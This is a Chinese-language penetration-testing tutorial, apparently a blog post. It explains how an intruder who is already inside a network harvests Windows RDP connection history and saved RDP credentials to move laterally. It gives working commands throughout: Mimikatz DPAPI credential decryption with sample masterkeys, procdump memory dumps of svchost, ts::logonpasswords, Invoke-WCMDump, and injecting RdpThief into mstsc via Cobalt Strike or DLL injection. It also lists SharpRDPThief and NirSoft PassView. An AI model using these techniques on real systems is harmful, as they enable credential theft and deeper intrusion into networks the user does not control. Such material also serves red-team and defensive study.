一、远程桌面历史IP获取 1.1 mstsc查看历史登录IP 1.2 注册表地址获取历史登录IP地址 1.3 ListRDPConnections 二、获取 RDP 远程桌面连接凭据 2.1 在凭据管理器中查看 Windows 凭据 2.2 使用 Mimikatz 导出远程桌面连接凭据 2.3 从 svchost 中获取 RDP 连接凭据 2.4 从已存在的 RDP 连接中导出 2.5 使用 PowerShell 脚本Invoke-WCMDump导出 2.6 RdpThief 2.7 SharpRDPThief 2.8 Remote Desktop PassView v1.02
当通过边界渗透进入内网后,通过密码暴力破解,内网应用等获取内网Windows权限后,通过代理等进行远程桌面登录,查看并获取远程桌面连接历史IP地址以及保存的用户名和密码,可以继续进行内网渗透,获取更多的权限。
一、远程桌面历史IP获取
1.1mstsc查看历史登录IP
获取远程桌面(RDP)连接的历史IP记录可以帮助管理员了解哪些服务器或远程机器曾被连接过。这些信息通常存储在Windows注册表中。可以打开远程桌面mstsc后,在计算机列表中可以看到曾经的历史登录IP,有些IP可能还保存了登录用户名和密码,使用这些凭据可以直接登录管理员曾经登录过的服务器,前提是需要获取该服务器或者个人主机的远程登录权限。
查看历史登录IP
1.2注册表地址获取历史登录IP地址
1、注册表键值查看
按 Win + R 键,输入 regedit,然后按回车键,导航到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers,可以看到历史登录过的服务器IP地址获取域名。
2、命令行直接获取远程桌面历史连接IP地址
powershell下执行命令:
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
1.3ListRDPConnections
https://github.com/Heart-Sky/ListRDPConnections
只能获取历史连接记录。
二、获取 RDP 远程桌面连接凭据
2.1 在凭据管理器中查看 Windows 凭据
1、Windows凭据管理器介绍
Windows凭据管理器(Credential Manager)是Windows操作系统中的一个组件,它帮助用户管理和存储各种类型的登录信息和其他敏感数据。通过凭据管理器,用户可以安全地保存网站、网络资源和Windows域的用户名和密码等信息,以便在需要时自动填充这些凭证,从而简化访问受保护资源的过程。
凭据管理器的主要功能
Web凭据
:用于保存网站登录信息。
Windows凭据
:包括网络资源(如文件服务器、打印机)、Windows域账户等的登录信息。
证书
:用于身份验证的数字证书。
2、Windows 凭据保留位置
C:\Users\<用户名>\AppData\Local\Microsoft\Credentials
3、ps下查看Windows凭据
(1)查看当前保存的凭据
cmdkey /list
(2)cmd下查看保存的凭据
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
(3)PowerShell下查看保存的凭据
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
2.2 使用 Mimikatz 导出远程桌面连接凭据
1、获取guidMasterKey
(1)mimikatz
(2)privilege::debug
(3)dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3
也可以一句话直接执行:
mimikatz # mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3"
{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
说明凭据文件是通过dir /a "%userprofile%\AppData\Local\Microsoft\Credentials*"获取的。
记录guidMasterKey:{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
2、获取MasterKey
(1)privilege::debug
(2)sekurlsa::dpapi
也可以直接cmd下执行命令
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
Windows11下执行未能测试成功。
正确的图如下:
3、获取明文密码
mimikatz.exe "dpapi::cred /in:C:\Users\3650\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81"
2.3 从 svchost 中获取 RDP 连接凭据
svchost.exe 是 Windows 中用于运行多个服务的通用主机进程,对系统正常运行至关重要。当用户通过 RDP 远程桌面连接并进行身份验证时,相关服务由 svchost.exe 托管。由于 Windows 身份验证机制的原因,RDP 凭据可能以纯文本形式短暂存在于 svchost.exe 的内存中,这使得通过内存转储技术理论上可以提取这些凭据。
1、查询终端服务
sc queryex termservice
2、内存导出
通过 procdump.exe 将 PID 进程内存转储为 .dmp
procdump64.exe -ma PID -accepteula C:\Users\Administrator\Desktop
2.4 从已存在的 RDP 连接中导出
privilege::debugts::logonpasswords# mimikatz.exe "privilege::debug" "ts::logonpasswords"
2.5 使用 PowerShell 脚本Invoke-WCMDump导出
项目地址:https://github.com/peewpw/Invoke-WCMDump
Invoke-WCMDump.ps1 这个 PowerShell 脚本可以在 Windows 凭据管理器中枚举 Windows 凭据,然后提取有关每个凭据的可用信息,且无须管理员权限。
1、需要更改权限
Import-Module .\Invoke-WCMDump.ps1
PowerShell默认设置为Restricted,这意味着不允许运行任何脚本,包括本地脚本。为了运行自定义脚本,需要更改执行策略。
Restricted:默认值,不允许运行任何脚本。
AllSigned:只允许运行由受信任发布者签署的脚本。
RemoteSigned:允许运行本地创建的脚本,远程下载的脚本必须有数字签名。
Unrestricted:允许所有脚本运行,但会警告未签名的脚本。
Bypass:不阻止或不提示任何内容;适用于构建服务器等非交互式环境。
Undefined:移除当前作用域内的执行策略(不会影响其他作用域)。
2、更改权限
Get-ExecutionPolicySet-ExecutionPolicy RemoteSigned
3、执行导出命令
Import-Module .\Invoke-WCMDump.ps1
2.6 RdpThief
当用户打开 Windows 远程桌面 mstsc.exe 并通过 RDP 协议远程连接到其他系统时,将创建 mstsc.exe 进程。而如果此时我们使用 API Hooking 则可以直接拦截用户提供的凭据,并将其保存到用户主机上某处。Rio Sherri 开发了一个名为 RdpThief(https://github.com/0x09AL/RdpThief) 的概念性验证工具,它可以尝试在运行有 mstsc.exe 进程的主机上 Hooking mstsc 进程中使用的函数(CredIsMarshaledCredentialW 和 CryptProtectMemory),并检索其中的凭据然后将凭据写入主机上的某个文件中。
1、使用 Cobalt Strike 加载 RdpThief
2、依次执行以下命令
(1)rdpthief_enable:启动心跳检测,每 5 秒搜索一次 mstsc.exe 进程并注入 RdpThief_x64.tmp 中的 Shellcode,管理员远程桌面登录3389。
(2)rdpthief_disable:停止心跳检测,但该命令不会卸载注入的 Shellcode•rdpthief_dump:显示抓取的凭据,默认读取路径为 %temp%\data.bin
(3)rdpthief_dump
抓出来的凭据存储在 %temp%\data.bin 目录下
另外一种注入方法
(1)获取mstsc的pid值假设为1111
tasklist /v | findstr "mstsc"
(2)注入RdpThief.dll
Import-Module .\Invoke-DllInjection.ps1Invoke-DllInjection -ProcessID 1111-Dll RdpThief.dll
2.7 SharpRDPThief
https://github.com/passthehashbrowns/SharpRDPThief
SharpRDPThief 工具是 Josh Magri 用 C# 重写对 RdpThief 的重写。然而,与 RdpThief 相比,SharpRDPThief 使用 IPC Server 可以使用接收来自 mstsc.exe 进程中抓取到的凭据。如果 mstsc.exe 被终止,Server 也会继续运行,并且等待 mstsc.exe 进程再次重新启动时会尝试再次进行 Hooking。这解决了 RdpThief 要求进程已经存在的限制。直接运行 SharpRDPThief.exe,然后模拟管理员使用远程桌面登录某台服务器,输入密码后 SharpRDPThief 成功抓取到了 RDP 登录凭据。
1.2.8Remote Desktop PassView v1.02
Remote Desktop PassView v1.02对Windows早期版本可以读取密码,对于Windows11无法读取保存的密码。
工具下载地址:https://www.nirsoft.net/utils/remote_desktop_password.html
直接运行rdpv即可。
原创 小兵搞安全